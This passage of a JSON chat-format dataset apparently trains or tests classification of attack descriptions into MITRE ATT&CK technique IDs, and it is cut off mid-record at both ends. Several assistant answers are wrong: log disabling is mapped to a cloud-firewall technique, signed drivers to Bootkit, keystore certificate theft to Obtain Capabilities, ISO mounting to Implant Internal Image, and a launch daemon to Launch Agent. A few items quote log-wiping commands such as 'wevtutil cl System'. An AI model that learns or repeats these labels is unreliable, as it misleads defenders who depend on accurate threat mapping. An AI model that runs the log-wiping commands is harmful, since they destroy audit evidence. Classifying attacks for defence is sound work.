        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool spawns the control.exe process with a malicious argument, employing system binary proxy execution to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a launch daemon with a Disabled flag set to false, ensuring the malicious service starts automatically."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection vector includes a compressed and encrypted binary that unpacks itself using a built-in stub."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing overly permissive IAM roles on an AWS Lambda, the attacker invokes the function to enumerate and download confidential S3 objects."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a new local administrator account on a compromised machine, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts SSH private keys from the .ssh directory of compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan encodes harvested files and uploads them to a GitHub Gist via the GitHub API for covert exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses stolen OAuth tokens to download data from the victim's Azure Blob storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden batch file placed in the startup directory executes a reverse shell when the user signs into Windows."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages signed malicious drivers to bypass driver signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant enumerates loaded modules and calls LoadLibraryA to fetch cryptographic functions during execution, never referencing them in the binary."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates the system's root certificate store with a forged certificate to hijack encrypted traffic."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adds a rogue root certificate to macOS Keychain, enabling the attacker to decrypt and monitor encrypted communications."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured trust relationship in a SAML single sign‑on (SSO) setup, allowing unauthorized logins to the victim's applications."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool is configured to parse Telegram messages for exposed credentials and export them to the attacker server."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the group encoded exfiltrated files with MIME base64 and transmitted them via FTP."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan communicates with its server over TCP port 8080, which is not the default port for the used protocol."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor retrieves the running configuration from compromised switches to discover credential information."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant computes a series of domain names based on system entropy and queries DNS to discover active command servers."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker escalates privileges by exploiting an executable installer with overly permissive access rights, overwriting it with a malicious version that runs during routine software installation."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups acquire legitimate code signing certificates by bribing employees of a certificate authority."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script calls OpenThread and SuspendThread on a victim process, writes shellcode into the thread’s context, and then calls ResumeThread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries capture authentication cookies via XSS and then replay the stolen session cookie to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the threat actor runs 'history -c' to purge the shell command history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new tenant in the victim's Office 365 environment to harvest data."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a rule that extracts attachments from incoming emails and saves them to a network share, facilitating lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email with a fake invoice PDF that leverages a zero‑day in the PDF reader to achieve initial access."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the signing authority of a code‑signing certificate authority, allowing them to sign malicious binaries as trusted."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the Android boot image (boot.img) with a modified version to gain root privileges."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries locate and copy digital certificates from a compromised host's keystore, enabling them to create forged authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors took advantage of a vulnerable IIS extension to inject PowerShell commands, achieving remote execution on the compromised Windows server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script exploits a vulnerable version of the Windows Management Instrumentation (WMI) to gain SYSTEM access."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary reads the Windows Credential Store to obtain saved RDP credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables Windows Event Logging to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses social engineering to lure a user into approving a fabricated MFA push notification that was generated by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing Windows' Token Impersonation to spawn a process with higher privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group purchases a compromised VPS from a hosting provider and uses it to launch phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leveraged Windows API calls to alter the file system timestamps, making the malicious payload appear as a longstanding file."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee executes a seemingly benign utility that actually contains a hidden backdoor, after being instructed by a phone call."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses SSH tunneling to forward a local port to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed 'wevtutil cl System' to clear the Windows System event log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds commands within PDF metadata fields, which are fetched by the infected host from a publicly accessible URL."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program reads the memory of the credential manager process to extract secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors steal malware source code from a public repository and incorporate it into their toolset to expand their offensive capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding a payload in a macro-enabled Office document, the threat actor caused the macro to call a system command indirectly through the Windows Script Host."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encoded PowerShell commands using base64 before execution to hide the malicious intent."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts all email messages from Outlook and forwards them to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a rootkit to replace legitimate system binaries with malicious versions, enabling privilege escalation and covert command execution."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a CHM file as a proxy for a system binary, tricking the operating system into loading the malicious content via the HTML Application host."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages Outlook form regions to load a DLL that provides persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script changes the TLS cipher suite preferences on a server to only allow weak ciphers like RC4."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware is designed to manipulate the memory of a running process, allowing it to evade detection by traditional signature-based security controls."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal conducts a dictionary attack against SSH login for multiple user accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised server's FTP service is replaced with a rogue version that logs credentials."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edits the file's extended attributes to strip the Mark of the Web tag, preventing the SmartScreen filter from flagging the payload."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place a malicious ISO file on the victim's machine and mount it to execute hidden payloads."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spawns a new thread in a high‑privilege process and maps a malicious PE file into its memory using WriteProcessMemory and NtCreateThreadEx."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary renamed a malicious executable to \"svchost.exe\" and placed it in the system32 directory to blend with legitimate Windows services."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executed 'net group /domain' to list domain groups and identify privileged group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection performs a PowerShell command 'Get-LocalGroupMember' to list members of local groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses the victim's Office 365 OneDrive to silently sync and upload confidential documents."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers encode command output with a simple Caesar cipher shifted by 5 positions before sending it over SMB."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A URL shortened with a URL shortener service is sent via a phishing email claiming to offer a discount coupon; the link redirects to a malicious payload that exploits a browser vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed cloud automation scripts to take a snapshot of a compromised instance, ensuring they could revert to the infected state later."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application’s configuration stored in RAM is altered to disable logging and hide further malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the password filtering mechanism by placing a compromised DLL in the system directory, enabling credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encrypted payloads are additionally encoded using a proprietary base85 scheme before being posted to a public pastebin service."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a telephone conversation, the threat actor requests the user to click a link sent via SMS to verify their account."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed the SYSVOL share on domain controllers to retrieve Group Policy data for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using msiexec with custom parameters, the attacker proxies the execution of a backdoor, blending in with normal Windows installer operations."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a specially crafted XSL file to bypass content filters and execute PowerShell commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script set as a network logon script runs with elevated privileges, creating a new local admin account."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs the SetThreadContext method to replace the execution context of a legitimate process with a malicious PE."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the system's task scheduler to run a hidden batch file that transfers keylogger outputs to a cloud storage bucket every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a custom DNS calculation routine to compute hostnames before performing DNS lookups for payload retrieval."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program alters Group Policy to turn off Windows Event Logging across the domain."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
